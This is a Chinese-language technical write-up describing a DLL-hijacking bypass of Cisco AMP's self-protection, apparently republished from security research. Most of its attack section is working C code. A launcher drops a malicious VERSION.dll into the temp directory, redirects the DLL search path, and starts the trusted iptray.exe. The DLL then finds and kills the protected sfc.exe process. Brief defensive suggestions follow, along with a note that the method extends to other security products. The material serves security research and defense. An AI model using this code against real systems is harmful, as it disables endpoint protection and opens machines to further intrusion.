思科AMP自我保护进程绕过
字数 1075 2025-08-19 12:41:50
思科AMP自我保护进程绕过技术分析
1. 背景介绍
思科AMP(Advanced Malware Protection)是一种端点保护技术,具有自我保护机制,即使在获得SYSTEM权限后也难以终止其关键进程(如sfc.exe)。本文详细分析了一种绕过思科AMP自我保护的技术方法。
2. 技术分析
2.1 自我保护机制观察
- 关键进程:sfc.exe(受保护且难以终止)
- 保护特性:
- 阻止进程注入
- 阻止调试
- 即使有SYSTEM权限也无法直接终止
2.2 突破口发现
通过思科AMP控制面板发现:
- 禁用保护服务需要密码
- iptray.exe程序可以禁用AMP的自我保护服务
这表明iptray.exe与sfc.exe受同一策略保护,且iptray.exe具有关闭保护的能力。
3. 绕过技术实现
3.1 技术路线
利用DLL劫持技术,通过以下步骤实现:
- 使iptray.exe加载自定义DLL
- 在DLL中执行终止sfc.exe的代码
3.2 详细步骤
3.2.1 DLL加载分析
使用ProcessMonitor观察到iptray.exe尝试加载多个DLL,其中许多首次加载失败。这表明存在DLL劫持机会。
3.2.2 设置DLL加载路径
使用SetDllDirectoryAAPI将DLL加载路径重定向到可控目录:
SetDllDirectoryA("C:\\Users\\xpn\\AppData\\Local\\Temp");
3.2.3 创建恶意DLL
以VERSION.DLL为例,需要导出所有原始函数(防止崩溃)并在DllMain中实现攻击代码。
3.2.4 攻击代码实现
在DLL_PROCESS_ATTACH事件中:
- 枚举进程查找sfc.exe
- 终止目标进程
关键代码:
toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe;
Process32First(toolhelp, &pe);
do {
if (strncmp(pe.szExeFile, "sfc.exe", 7) == 0) {
p = OpenProcess(PROCESS_TERMINATE, false, pe.th32ProcessID);
TerminateProcess(p, 1);
break;
}
} while (Process32Next(toolhelp, &pe));
ExitProcess(0);
3.2.5 启动器程序
创建启动程序执行以下操作:
- 从资源中提取恶意DLL
- 设置DLL加载路径
- 启动iptray.exe
关键代码:
// 从资源获取DLL
HRSRC res = FindResource(g_hModule, MAKEINTRESOURCEW(IDR_RT_RCDATA1), L"RT_RCDATA");
HGLOBAL resMod = LoadResource(g_hModule, res);
void *resource = LockResource(resMod);
DWORD sizeOfResource = SizeofResource(g_hModule, res);
// 设置临时路径
GetTempPathA(sizeof(tempPath), tempPath);
snprintf(tempDll, sizeof(tempDll), "%s\\%s", tempPath, "VERSION.dll");
// 设置DLL路径
SetDllDirectoryA(tempPath);
// 写入DLL
HANDLE tempDllHandle = CreateFileA(tempDll, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, NULL);
WriteFile(tempDllHandle, resource, sizeOfResource, &bytesWritten, NULL);
CloseHandle(tempDllHandle);
// 启动iptray.exe
STARTUPINFOA si;
PROCESS_INFORMATION pi;
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
memset(&pi, 0, sizeof(pi));
CreateProcessA(NULL, (LPSTR)"C:\\Program Files\\Cisco\\AMP\\6.1.7\\iptray.exe", NULL, NULL, false, 0, NULL, tempPath, &si, &pi);
4. 技术要点总结
- 信任链利用:利用受信任的iptray.exe进程执行恶意代码
- DLL劫持:通过SetDllDirectory重定向DLL加载路径
- 进程终止:在DLL中枚举并终止目标进程
- 隐蔽性:利用合法进程执行攻击,绕过自我保护检测
5. 防御建议
对于防御方,可采取以下措施:
- 限制SetDllDirectory等API的使用
- 实施DLL签名验证
- 监控异常进程终止行为
- 加强关键进程的双向保护
6. 扩展思考
此技术可应用于其他具有类似保护机制的安全产品,关键在于:
- 寻找受信任的可执行文件
- 分析其DLL加载行为
- 找到合适的劫持点
该方法展示了在安全产品中,即使有强大的自我保护机制,也可能通过信任链中的薄弱环节被绕过。